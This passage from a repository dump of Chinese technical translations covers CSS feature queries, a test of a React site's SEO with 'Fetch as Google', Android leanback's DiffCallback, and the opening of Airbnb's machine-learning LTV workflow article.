属性被设置的更大了一些。我们需要一种方法来测试浏览器是否支持 `initial-letter`，并且只在颜色、粗细和空白处应用更改。进入特征查询。\n```    \n    @supports (initial-letter: 4) or (-webkit-initial-letter: 4) {\n      p::first-letter {\n         -webkit-initial-letter: 4;\n         initial-letter: 4;\n         color: #FE742F;\n         font-weight: bold;\n         margin-right: 0.5em;\n      }\n    }\n```\n\n注意，您需要测试具有属性和值的完整字符串。最初这是令我困惑的。为什么我要测试 `initial-letter: 4`？值为 4 重要吗？如果我传入的值是 17 呢？它是否需要与后续代码中的值相匹配？\n\n`@supports` 规则测试一个包含属性和值的字符串，因为有时候需要测试的是属性，有时需要测试的是值。对于 `initial-letter` 的例子，你传入的是什么值并不重要。但是考虑 `@supports (display: grid)`，你会看到两者都是需要的。每个浏览器都支持 `display`。只有测试版浏览器支持 `display: grid`（目前来说）。\n\n回到我们的示例：目前 `initial-letter` 仅在 Safari 9 中得到支持，并且它需要前缀。所以我写了这个前缀，为了确保包含无前缀的版本我写了这个测试。是的，可以在特征查询中使用 `or` 、`and` 和 `not` 语句。\n\n这是新的结果。浏览器支持 `initial-letter` 的话就会将其展现为字体更大、加粗并且是橘色的段首字母。其它浏览器表现的像段首字母不存在一样，但如果这些浏览器支持了这个规则，那么视觉效果将会是一样的。（顺便说一下，目前 Firefox 正在尝试实现段首字母特性。）\n\n![使用之前和之后的对比](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2016/08/intial-letter-with-and-without.gif)截屏的左边是来自 Safari 9。其它浏览器展现的结果显示为右边。你可以在 [codepen.io/jensimmons/pen/ONvdYL](http://codepen.io/jensimmons/pen/ONvdYL?editors=1100) 看到这个测试的代码。\n\n## 组织你的代码\n\n现在，您可能会尝试使用此工具将代码分成两个分支。“嘿，浏览器，如果你支持视口单位，执行这段代码，如果你不支持他们，执行另一段代码。”这感觉很好并且很整洁。\n```\n    @supports (height: 100vh) {\n      // 使用 viewport height 的布局\n    }\n    @supports not (height: 100vh) {\n      // 老式浏览器另一种布局\n    }\n    // 我们希望是这样，但这个代码不是很好\n```\n这不是一个好主意 —— 至少现在来说。你发现是什么问题了吗？\n\n然而，不是所有浏览器都支持特征查询。并且浏览器不支持 `@supports` 将会跳过这部分的全部代码。这不是很好。\n\n这是不是意味着，除非 100% 的浏览器都支持，否则我们就不能使用特征查询了？不是的，我们可以，并且当今我们应该使用特征查询。不要像最后一个例子那样编写代码。\n\n那怎么做才是正确的呢？这和我们在 100% 支持媒体查询前有相同的方法。事实上，在这个过渡时期使用特征查询比使用媒体查询更容易。你只要聪明点就行了。\n\n你希望构建你的代码，因为最古老的浏览器不支持特征查询或您正在测试的特性。我来教你怎么做。\n（当然，在将来的某个时候，一旦 100% 的浏览器有特征查询，我们就可以更大程度地使用 `@supports not`，并以这种方式组织我们的代码。但我们还要等很多年。\n\n## 支持特征查询\n\n那么特征查询的支持情况如何呢？\n\n自从 2013 年年中以来，在 Firefox、Chrome、和 Opera 就已经支持 `@supports` 了。它也适用于 Edge 的每一个版本。Safari 在 2015 年秋季将其在Safari 9 中支持。在任何版本的 Internet Explorer、Opera Mini、Blackberry Browser 或 UC 浏览器中都不支持特征查询。\n\n[![Can I use 网站支持特征查询的截图](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2016/08/Can-I-Use-Feature-Queries.gif)](http://caniuse.com/#feat=css-featurequeries)特征查询的支持可以查看：[特征查询在 Can I Use 上的结果](http://caniuse.com/#feat=css-featurequeries)\n\n您可能会认为 Internet Explore 不支持特征查询。实际是并不是。我马上告诉你原因。我认为最大的障碍是 Safari 8。我们需要密切关注这儿发生的事情。\n\n让我们来看另一个例子。假设我们有一些想要应用的布局代码，为了使操作更加合理需要使用 `object-fit: cover`。对于不支持 `object-fit` 的浏览器，我们希望应用不同的布局 CSS。\n[![Can I Use 网站中关于 Object-fit 支持的截图](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2016/08/Can-I-Use-Object-Fit.gif)](http://caniuse.com/#feat=object-fit)来看一下支持情况 [Object Fit 在 Can I Use 上的结果](http://caniuse.com/#feat=object-fit)\n\n我们开始来编写代码：\n```\n    div {\n      width: 300px;\n      background: yellow;\n      // 老布局的一些复杂代码\n    }\n    @supports (object-fit: cover) {\n      img {\n        object-fit: cover;\n      }\n      div {\n        width: auto;\n        background: green;\n       // 新布局的一些其他复杂的代码\n      }\n    }\n```\n\n那么会发生什么呢？特征查询要么支持要么不支持，新的特性 `object-fit: cover` 要么支持要么不支持。结合这些，我们有 4 种可能性：\n\n| 支持特征查询吗？ | 支持特性吗？ | 会发生什么？| 这是我们想要的吗？ |\n| --- | --- | --- | --- |\n| 支持特征查询 | 支持问题中的特性 |\n| 支持特征查询 | 不支持问题中的特性 |\n| 不支持特征查询 | 不支持问题中的特性 |\n| 不支持特征查询 | 支持问题中的特性 |\n\n### 情景 1：浏览器支持特征查询，并支持问题中的特性\n\nFirefox、Chrome、Opera 和 Safari 9 都支持 `object-fit` 和 `@supports`，所以这个测试将运行得很好，并且这个块内的代码将被应用。我们的图像将通过 `object-fit: cover` 被裁剪，并且我们 `div` 的背景将是绿色的。\n\n### 情景 2：浏览器支持特征查询，并且不支持问题中的特性\n\nEdge 不支持 `object-fit`，但它支持 `@supports`，因此该测试将运行并失败，防止代码块被应用。该图像将不会有 `object-fit` 应用，并且 `div` 有黄色的背景。\n\n这是我们想要的。\n\n### 情景 3：浏览器不支持特征查询，并且也不支持问题中的特性\n\n这就是我们的经典克星 Internet Explorer 出现的地方。IE 不支持 `@supports`，并且也不支持 `object-fit`。你可能认为这意味着我们不能使用特征查询 —— 并不是。\n\n想一下我们想要的结果。我们想要 IE 跳过整个代码块。并且确实是这样的结果。为什么呢？因为当它执行到 `@supports` 时，它无法识别这个语法，并且会跳转到结尾。\n\n它可能跳过代码“出于错误的原因” —— 它跳过代码是因为它不支持 `@supports`，而不是因为它不支持 `object-fit`，但是谁在乎呢？！我们仍然得到我们想要的结果。\n\n同样的事情也发生在 Android 的黑莓浏览器和 UC 浏览器上。他们不支持 `object-fit` 和 `@supports`，所以我们都准备好了。很成功。\n\n底线是 —— 当你在浏览器中使用一个不支的特征查询的特征查询时，只要让浏览器不支持你正在测试的功能就好了。\n\n仔细思考代码的逻辑。问问自己，当浏览器跳过这个代码时会发生什么？如果那是你想要的，你都准备好了。\n\n### 场景 4：浏览器不支持特征查询，但支持问题中的特性\n\n问题是这第 4 个组合 —— 虽然特征查询所包含的测试没有运行，但是浏览器确实支持该特性时，并且应该运行该代码。\n\n例如，`object-fit` 由 Safari 7.1（Mac）和 8（Mac和iOS）支持，但这两个浏览器都不支持功能查询。这同样适用于 Opera Mini —— 它将支持 `object-fit`，但不支持 `@supports`。\n\n会发生什么呢？这些浏览器进入这个代码块，但并未使用代码，在图片上应用 `object-fit:cover`，并将这个 `div` 的背景设置为绿色，它跳过了整个代码块，留下黄色作为背景颜色。\n\n并且这不是我们真正想要的。\n\n| 支持特征查询吗？ | 支持特性吗？ | 会发生什么？| 这是我们想要的吗？ |\n| --- | --- | --- | --- |\n| 支持特征查询 | 支持问题中的特性 | CSS 被应用 | 是的 |\n| 支持特征查询 | 不支持问题中的特性 | CSS 没有被应用 | 是的 |\n| 不支持特征查询 | 不支持问题中的特性 | CSS 没有被应用 | 是的 |\n| 不支持特征查询 | 支持问题中的特性 | CSS 没有被应用 | 不，可能不是 |\n\n当然，这取决于特定的用例。也许这是我们可以忍受的一个结果。较老的浏览器获得了较老浏览器的体验。网页仍在工作。\n\n但在大多数情况下，我们希望浏览器能够使用它支持的任何特性。这就是为什么在涉及特性查询时，Safari 8 可能是最大的问题，而不是 Internet Explorer。Safari 8 支持许多新的特性 —— 比如 Flexbox。您可能不想阻止 Safari 8 上的这些属性。这就是为什么我很少在 `@supports` 中使用 Flexbox，或者有时候，我在代码中至少写三个分支，一个使用 `not`。（这很快就变得复杂了，所以不在这里解释了）。\n\n如果您使用的功能在旧版浏览器中比功能查询支持的更好的话，那么在编写代码时要仔细考虑所有的组合。确保不要把你希望这些浏览器实现的功能也排除在外了。\n\n同时，可以很容易的在 `@supports` 中用最新的 CSS 特性 —— 例如 CSS Grid、首字母。没有哪个浏览器会在不支持特征查询时就支持 CSS Grid 的。我们不必担心那个包含新特性时问题多多的第四种组合，在以后这使得功能查询非常有用的。\n\n所有这一切都意味着IE11 虽然仍会存在很多年，我们还是可以同时使用特征查询和 CSS 的最新特性。\n\n## 最佳实践\n\n现在我们明白了为什么我们不能像这样编写代码：\n```\n    @supports not (display: grid) {\n        // 较老浏览器的代码 // 不要模仿这个例子\n    }\n    @supports (display: grid) {\n        // 较新浏览器的代码 // 我说这真的很糟糕吗？\n    }\n```\n如果我们这样做，我们将阻止旧的浏览器获取他们需要的代码。\n\n取而代之的是，像这样组织你的代码：\n\n```\n    // 较老浏览器的回退代码\n\n    @supports (display: grid) {\n        // 较新浏览器的代码\n        // 在需要时覆盖上面的代码\n    }  \n    \n```\n\n这正是我们在使用媒体查询的同时支持旧版本 IE 的策略。这个策略就是“移动优先”这个词的来源。\n\n我预计 CSS Grid 将在 2017 在浏览器中被使用，我打赌在实现未来的布局时我们将使用大量的特征查询。与 JavaScript 相比，它的麻烦要小得多，而且速度要快得多。并且 `@supports` 能使支持 CSS Grid 的浏览器做有趣的和复杂的东西，同时对不支持的浏览器提供布局选项。\n\n自 2013 年年中以来，功能查询一直存在。随着 Safari 10 即将发布，我相信我们已经到了将 `@supports` 添加到工具箱的时候了。\n\n## 关于 [Jen Simmons](http://jensimmons.com)\n\nJen Simmons 是在 Mozilla 的一个设计师，并且是 [The Web Ahead](http://thewebahead.net) 的主持人。她正在研究网络上平面设计的未来，并在全球会议上四处教授 CSS 布局。 \n\n- [jensimmons.com](http://jensimmons.com)\n- [@jensimmons](http://twitter.com/jensimmons)\n\n[Jen Simmons 的更多文章](https://hacks.mozilla.org/author/jsimmonsmozilla-com/)\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/using-fetch-as-google-for-seo-experiments-with-react-driven-websites.md",
    "content": "> * 原文地址：[Testing a React-driven website’s SEO using “Fetch as Google”](https://medium.freecodecamp.com/using-fetch-as-google-for-seo-experiments-with-react-driven-websites-914e0fc3ab1#.sv5ov6im3)\n* 原文作者：[Patrick Hund](https://medium.freecodecamp.com/@wiekatz)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[markzhai](https://github.com/markzhai), [Romeo0906](https://github.com/Romeo0906)\n\n# 使用 `Google` 抓取方式，测试 `React` 驱动的网站 `SEO`\n我最近进行了一项测试，它有关客户端渲染的网站是否能避免被搜索引擎的机器人爬取内容。就如我[此文](https://medium.freecodecamp.com/seo-vs-react-is-it-neccessary-to-render-react-pages-in-the-backend-74ce5015c0c9#.eg3w0nh17)所述，`React` 并不会破坏搜索引擎的索引。\n\n现在，我开始实施我的下一个步骤。为了了解 `Google` 到底能爬取和索引哪些内容，我建立了一个 `React` 的沙盒项目。\n\n### 建立一个小型的网页应用程序\n\n我的目标只是建立一个单纯的 `React` 应用程序，用最少的时间配置 `Babel`, `webpack` 和其他一些工具。之后，我会尽可能快地把这个应用程序部署到公网环境。\n\n我也想能在几秒内就把更新部署到生产环境中。\n\n考虑到要实现这些目标，理想的工具是 [`create-react-app`](https://github.com/facebookincubator/create-react-app) 和 `GitHub Pages`。\n\n有了 _create-react-app_，我能在 30 分钟内创建一个小型的 `React` 应用程序。只需要输入这些指令:\n\n    create-react-app seo-sandbox\n    cd seo-sandbox/\n    npm start\n\n我更改了默认的文本和 `logo`，修改了一些格式，然后瞧瞧看 —— 一个 100% 由客户端程序渲染的网页完成了，让 `Googlebot` 好好琢磨一下。\n\n你可以访问我 [Github 上的项目工程了解更多](https://github.com/pahund/seo-sandbox)。\n\n### 部署到 `GitHub Pages`\n\n_create-react-app_ 非常有用。简直和我心有灵犀。在我执行了 _npm run build_ 指令后，它就识别出我准备计划在 `GitHub Pages` 上发布我的项目，并且告诉我应该这么做:\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*7CQ1cPQcIOdIX_a_lYqiew.png)\n\n\n\n\n\n这是我托管在 `GitHub Pages` 上的 [`SEO` 沙盒](https://pahund.github.io/seo-sandbox/)\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*Gt05ZDhSLvblN6MSmZ3xSg.png)\n\n\n\n我把这个网站的名字设定为 `\"Argelpargel\"`，因为这个词从未被 `Google` 收录过。\n\n\n\n### 配置 `Google` 搜索终端\n\n`Google` 为网站所有者提供了一份免费的套件工具叫做 [Google 搜索终端](https://www.google.com/webmasters/tools)，它可以被用于测试他们的网站。\n\n为了建立这个服务，我为这个网站增加一个称为 `property` 的东西:\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*nub51dXnRU6rkpDjU2tkvQ.png)\n\n\n\n\n\n为了证明我就是这个网站的所有者，我不得不向 `Google` 上传一个特别的文件来找到这个网站。多亏了这个有用的方法 _npm rum deploy_，让我在很快的时间内就完成了。\n \n### `Google` 眼中我们网站长什么样\n\n环境配置完毕以后，我现在能使用 `\"Fetch as Google\"` 工具，用 `Googlebot` 的方式看看我们的 `SEO` 沙盒页面:\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*JEcIMWqYZUEud80zFUjppQ.png)\n\n\n\n\n\n\n当我点击 `\"Fetch and Render\"` 按钮，就能检查到由 `React` 驱动的页面上哪一部分能真正被 `Googlebot` 检索到:\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*DSNHJvO_S2H3oAJHKiWkCw.png)\n\n\n\n\n\n### 目前我所发现的\n\n#### 发现 #1: `Googlebot` 以异步加载的形式来阅读内容\n\n我想最先测试的是 `Googlebot` 会不会对异步渲染的内容进行检索或者爬取。\n\n在页面被加载完毕后，我的 `React` 应用程序为数据发送了一个 `Ajax` 请求，并用这些数据更新了部分页面上的内容。\n\n为了模拟这个过程，我为应用程序的组件增加了一个构造器，它通过使用一个 [window.setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setTimeout) 方法为组件设定状态。\n\n    constructor(props) {\n        super(props);\n        this.state = {\n            choMessage: null,\n            faq1: null,\n            faq2: null,\n            faq3: null\n        };\n        window.setTimeout(() => this.setState(Object.assign(this.state, {\n            choMessage: 'yada yada'\n        })), 10);\n        window.setTimeout(() => this.setState(Object.assign(this.state, {\n            faq1: 'bla bla'\n        })), 100);\n        window.setTimeout(() => this.setState(Object.assign(this.state, {\n            faq2: 'shoo be doo'\n        })), 1000);\n        window.setTimeout(() => this.setState(Object.assign(this.state, {\n            faq3: 'yacketiyack'\n        })), 10000);\n    }\n\n→ [源代码已提交到 GitHub](https://github.com/pahund/seo-sandbox/blob/v1.0.0/src/App.js#L14)\n\n我使用了 4 种超时时间，10 毫秒， 100 毫秒， 1 秒 和 10 秒。\n\n结果表明，`Googlebot` 只会在 10 秒的超时时间上失败。但是其他 3 个超时时间都成功了，并且对应的文本块都会显示在 `\"Fetch as Google\"` 窗体内。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*rsEVVsvrbTyOJtQHh24Xfg.png)\n\n\n\n\n\n#### `React Router` 让 `Googlebot` 迷了眼\n\n我把 [`React Router`](https://react-router.now.sh/) (version 4.0.0-alpha.5) 添加到网页应用程序中，它能创建一个菜单条加载不同的子页面（从他们的文档里直接复制粘贴过来）:\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*aZPZSQDC7WyneE2PcHRCvA.png)\n\n\n\n\n\n太出乎意料了 - 当我点击了 `“Fecth As Google”`后，我只看到了一片绿色背景的页面:\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*nq4ujsqCxHz5zeMEuxuPoA.png)\n\n\n\n\n\n以客户端渲染的界面使用 `React Router` 影响了搜索引擎的友好性。但这是否只是 `React Router 4` 上的问题仍旧需要观察，或者 `React Router 3` 稳定版本上也存在这样的问题。\n\n### 下一步\n\n以下是我想继续测试的内容:\n\n* `Googlebot` 会沿着异步渲染文本块中的链接继续爬取内容么？\n* 我能在 `React` 应用程序中异步地设定元标签，例如 _description_，并且让 `Googlebot` 理解它们么？\n* `Googlebot` 需要花费多少时间才能爬取一个通过 `React` 渲染并且包含有很多很多的页面的网站？\n\n我暂且抛砖引玉，请您不吝赐教！\n"
  },
  {
    "path": "TODO/using-leanbacks-diffcallback.md",
    "content": "> * 原文地址：[Using leanback’s DiffCallback: The difference between the DiffUtil callbacks](https://medium.com/google-developers/using-leanbacks-diffcallback-77d47949212b)\n> * 原文作者：[Benjamin Baxter](https://medium.com/@benbaxter?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/using-leanbacks-diffcallback.md](https://github.com/xitu/gold-miner/blob/master/TODO/using-leanbacks-diffcallback.md)\n> * 译者：[LeeSniper](https://github.com/LeeSniper)\n> * 校对者：[tanglie1993](https://github.com/tanglie1993), [hanliuxin5](https://github.com/hanliuxin5)\n\n# 使用 leanback 的 DiffCallback： 和 DiffUtil 回调之间的区别\n\n[24.2 版本的 support library](https://developer.android.com/topic/libraries/support-library/rev-archive.html#24-2-0-api-updates) 里引入了一个叫做 [DiffUtil](https://developer.android.com/reference/android/support/v7/util/DiffUtil.html) 的类，它让刷新 [RecyclerView.Adapter](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.Adapter.html) 变得更简单。在 [27.0 版本的 leanback support library](https://developer.android.com/topic/libraries/support-library/revisions.html#27-0-0) 里面又增加了一个支持 [ArrayObjectAdapter](https://developer.android.com/reference/android/support/v17/leanback/widget/ArrayObjectAdapter.html) 的抽象 `DiffUtil`。\n\n[ArrayObjectAdapter](https://developer.android.com/reference/android/support/v17/leanback/widget/ArrayObjectAdapter.html) 有一个新的方法叫做 [setItems(final List itemList, final DiffCallback callback)](https://developer.android.com/reference/android/support/v17/leanback/widget/ArrayObjectAdapter.html#setItems%28java.util.List,%20android.support.v17.leanback.widget.DiffCallback%29)，它接收一个新的类叫做 [DiffCallback](https://developer.android.com/reference/android/support/v17/leanback/widget/DiffCallback.html)。`DiffCallback` 看上去很像 [DiffUtil.Callback](https://developer.android.com/reference/android/support/v7/util/DiffUtil.Callback.html)，只是少了几个方法。\n\n```\npublic abstract class DiffCallback<Value> {\n\n   public abstract boolean areItemsTheSame(@NonNull Value oldItem, \n                                           @NonNull Value newItem);\n\n   public abstract boolean areContentsTheSame(@NonNull Value oldItem,\n                                              @NonNull Value newItem);\n\n   @SuppressWarnings(\"WeakerAccess\")\n   public Object getChangePayload(@NonNull Value oldItem, @NonNull Value newItem) {\n       return null;\n   }\n}\n```\n\n获取 list 大小的方法不见了！这个 adapter 里的 `setItems()` 方法知道旧的数据和新的数据，当 adapter 创建 `DiffUtil.Callback` 的时候，它重写了 [getOldListSize()](https://developer.android.com/reference/android/support/v7/util/DiffUtil.Callback.html#getOldListSize%28%29) 和 [getNewListSize()](https://developer.android.com/reference/android/support/v7/util/DiffUtil.Callback.html#getNewListSize%28%29) 方法，让你能够专心比较 list 中数据的异同。\n\n```\nval diffCallback = object : DiffCallback<DummyItem>() {\n    override fun areItemsTheSame(oldItem: DummyItem, \n                                 newItem: DummyItem): Boolean = \n        oldItem.id == newItem.id\n    override fun areContentsTheSame(oldItem: DummyItem, \n                                    newItem: DummyItem): Boolean =\n        oldItem == newItem\n}\nitemsAdapter.setItems(randomItems(), diffCallback)\n```\n\nAdapter 刷新 item 并且播放动画。\n\n![](https://cdn-images-1.medium.com/max/800/1*3MLrzRJAXtHBQeO4KA0TRA.gif)\n\nArrayObjectAdapter 会播放合适的动画。\n\n你不一定要调用带有 `DiffCallback` 的 `setItems()` 方法。如果你不支持 `DiffCallback`，adapter 会清空当前的 item 并且添加所有新的 item，这可能导致你的内容在屏幕上闪一下。\n\n![](https://cdn-images-1.medium.com/max/800/1*HAKJdXzrZVRvcIuQ-J2-eQ.gif)\n\n这一行里的内容会在删除和添加 item 的时候闪动。\n\n通过查看 `setItems()` 的源码，我们可以发现 `ArrayObjectAdapter` 是如何抽象 `DiffUtil` 里的样板方法，给开发者提供一个更整洁的 API。\n\n![](https://cdn-images-1.medium.com/max/800/1*1AIJuAbtOBUPxUT0_ib8Eg.png)\n\nArrayObjectAdapter 里面 `setItems()` 方法的部分源码。\n\n如果你想尝试使用 `DiffCallback`，可以从参考这篇 [gist](https://gist.github.com/benbaxter/6c9fbb568d05d8cb4b3829dbdb23e0cb) 开始。\n\n如果你在开发 Android TV 平台上的应用，我很想了解开发过程中你最喜欢的是什么，还有你的痛点是什么。如果你想继续这个话题，请在 [Twitter](https://twitter.com/benjamintravels) 上给我评论或者留言。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/using-machine-learning-to-predict-value-of-homes-on-airbnb.md",
    "content": "\n  > * 原文地址：[Using Machine Learning to Predict Value of Homes On Airbnb](https://medium.com/airbnb-engineering/using-machine-learning-to-predict-value-of-homes-on-airbnb-9272d3d4739d)\n  > * 原文作者：[Robert Chang](https://medium.com/@rchang)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/using-machine-learning-to-predict-value-of-homes-on-airbnb.md](https://github.com/xitu/gold-miner/blob/master/TODO/using-machine-learning-to-predict-value-of-homes-on-airbnb.md)\n  > * 译者：[lsvih](httpsL//github.com/lsvih)\n  > * 校对者：[TobiasLee](https://github.com/TobiasLee), [RichardLeeH](https://github.com/RichardLeeH), [reid3290](https://github.com/reid3290)\n\n# 在 Airbnb 使用机器学习预测房源的价格\n\n![](https://cdn-images-1.medium.com/max/2000/1*jdUbWGwyIyJJ4wlr1FaSqA.png)\n\n**位于希腊爱琴海伊莫洛维里的一个 Airbnb 民宿的美好风景**\n\n### 简介\n\n数据产品一直是 Airbnb 服务的重要组成部分，不过我们很早就意识到开发一款数据产品的成本是很高的。例如，个性化搜索排序可以让客户更容易发现中意的房屋，智能定价可以让房东设定更具竞争力的价格。然而，需要许多数据科学家和工程师付出许多时间和精力才能做出这些产品。\n\n最近，Airbnb 机器学习的基础架构进行了改进，使得部署新的机器学习模型到生产环境中的成本降低了许多。例如，我们的 ML Infra 团队构建了一个通用功能库，这个库让用户可以在他们的模型中应用更多高质量、经过筛选、可复用的特征。数据科学家们也开始将一些自动化机器学习工具纳入他们的工作流中，以加快模型选择的速度以及提高性能标准。此外，ML Infra 还创建了一个新的框架，可以自动将 Jupyter notebook 转换成 Airflow pipeline 能接受的格式。\n\n在本文中，我将介绍这些工具是如何协同运作来加快建模速度，从而降低开发 LTV 模型（预测 Airbnb 民宿价格）总体成本的。\n\n### 什么是 LTV？\n\nLTV 全称 Customer Lifetime Value，意为“客户终身价值”，是电子商务、市场公司中很流行的一种概念。它定义了在未来一个时间段内用户预期为公司带来的收益，通常以美元为单位。\n\n在一些例如 Spotify 或者 Netflix 之类的电子商务公司里，LTV 通常用于制定产品定价（例如订阅费等）。而在 Airbnb 之类的市场公司里，知晓用户的 LTV 将有助于我们更有效地分配营销渠道的预算，更明确地根据关键字做在线营销报价，以及做更好的类目细分。\n\n我们可以根据过去的数据来[计算历史值](https://medium.com/swlh/diligence-at-social-capital-part-3-cohorts-and-revenue-ltv-ab65a07464e1)，当然也可以进一步使用机器学习来预测新登记房屋的 LTV。\n\n### LTV 模型的机器学习工作流\n\n数据科学家们通常比较熟悉和机器学习任务相关的东西，例如特征工程、原型制作、模型选择等。然而，要将一个模型原型投入生产环境中需要的是一系列数据工程技术，他们可能对此不太熟练。\n\n![](https://cdn-images-1.medium.com/max/1600/1*zT1gNPErRqizxlngxXCtBA.png)\n\n不过幸运的是，我们有相关的机器学习工具，可以将具体的生产部署工作流从机器学习模型的分析建立中分离出来。如果没有这些神奇的工具，我们就无法轻松地将模型应用于生产环境。下面将通过 4 个主题来分别介绍我们的工作流以及各自用到的工具：\n\n- **特征工程**：定义相关特征\n- **原型设计与训练**：训练一个模型原型\n- **模型选择与验证**：选择模型以及调参\n- **生产部署**：将选择好的模型原型投入生产环境使用\n\n### 特征工程\n\n> **使用工具：Airbnb 内部特征库 — Zipline**\n\n任何监督学习项目的第一步都是去找到会影响到结果的相关特征，这一个过程被称为特征工程。例如在预测 LTV 时，特征可以是某个房源房屋在接下来 180 天内的可使用天数所占百分比，或者也可以是其与同市场其它房屋定价的差异。\n\n在 Airbnb 中，要做特征工程一般得从头开始写 Hive 查询语句来创建特征。但是这个工作相当无聊，而且需要花费很多时间。因为它需要一些特定的领域知识和业务逻辑，也因此这些特征 pipeline 并不容易共享或复用。为了让这项工作更具可扩展性，我们开发了 **Zipline** —— 一个训练特征库。它可以提供不同粒度级别（例如房主、客户、房源房屋及市场级别）的特征。\n\n这个内部工具“**多源共享**”的特性让数据科学家们可以在过去的项目中找出大量高质量、经过审查的特征。如果没有找到希望提取的特征，用户也可以写一个配置文件来创建他自己需要的特征：\n\n```\nsource: {\n  type: hive\n  query:\"\"\"\n    SELECT\n        id_listing as listing\n      , dim_city as city\n      , dim_country as country\n      , dim_is_active as is_active\n      , CONCAT(ds, ' 23:59:59.999') as ts\n    FROM\n      core_data.dim_listings\n    WHERE\n      ds BETWEEN '{{ start_date }}' AND '{{ end_date }}'\n  \"\"\"\n  dependencies: [core_data.dim_listings]\n  is_snapshot: true\n  start_date: 2010-01-01\n}\nfeatures: {\n  city: \"City in which the listing is located.\"\n  country: \"Country in which the listing is located.\"\n  is_active: \"If the listing is active as of the date partition.\"\n}\n```\n\n在构建训练集时，Zipline 将会找出训练集所需要的特征，自动的按照 key 将特征组合在一起并填充数据。在构造房源 LTV 模型时，我们使用了一些 Zipline 中已经存在的特征，还自己写了一些特征。模型总共使用了 150 多个特征，其中包括：\n\n- **位置**：国家、市场、社区以及其它地理特征\n- **价格**：过夜费、清洁费、与相似房源的价格差异\n- **可用性**：可过夜的总天数，以及房主手动关闭夜间预订的占比百分数\n- **是否可预订**：预订数量及过去 X 天内在夜间订房的数量\n- **质量**：评价得分、评价数量、便利设施\n\n![](https://cdn-images-1.medium.com/max/1600/1*KYs7WNNfdwKmKcVbgKGkiw.png)\n\n实例数据集\n\n在定义好特征以及输出变量之后，就可以根据我们的历史数据来训练模型了。\n\n### 原型设计与训练\n\n> **使用工具：Python 机器学习库** — [**scikit-learn**](http://scikit-learn.org/stable/)\n\n以前面的训练集为例，我们在做训练前先要对数据进行一些预处理：\n\n- **数据插补**：我们需要检查是否有数据缺失，以及它是否为随机出现的缺失。如果不是随机现象，我们需要弄清楚其根本原因；如果是随机缺失，我们需要填充空缺数据。\n- **对分类进行编码**：通常来说我们不能在模型里直接使用原始的分类，因为模型并不能去拟合字符串。当分类数量比较少时，我们可以考虑使用 [one-hot encoding](http://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.OneHotEncoder.html) 进行编码。如果分类数量比较多，我们就会考虑使用 [ordinal encoding](https://www.kaggle.com/general/16927), 按照分类的频率计数进行编码。\n\n在这一步中，我们还不知道最有效的一组特征是什么，因此编写可快速迭代的代码是非常重要的。如 [Scikit-Learn](http://scikit-learn.org/stable/modules/generated/sklearn.pipeline.Pipeline.html)、[Spark](https://spark.apache.org/docs/latest/ml-pipeline.html) 等开源工具的 pipeline 结构对于原型构建来说是非常方便的工具。Pipeline 可以让数据科学家们设计蓝图，指定如何转换特征、训练哪一个模型。更具体来说，可以看下面我们 LTV 模型的 pipeline：\n\n```\ntransforms = []\n\ntransforms.append(\n    ('select_binary', ColumnSelector(features=binary))\n)\n\ntransforms.append(\n    ('numeric', ExtendedPipeline([\n        ('select', ColumnSelector(features=numeric)),\n        ('impute', Imputer(missing_values='NaN', strategy='mean', axis=0)),\n    ]))\n)\n\nfor field in categorical:\n    transforms.append(\n        (field, ExtendedPipeline([\n            ('select', ColumnSelector(features=[field])),\n            ('encode', OrdinalEncoder(min_support=10))\n            ])\n        )\n    )\n\nfeatures = FeatureUnion(transforms)\n```\n\n在高层设计时，我们使用 pipeline 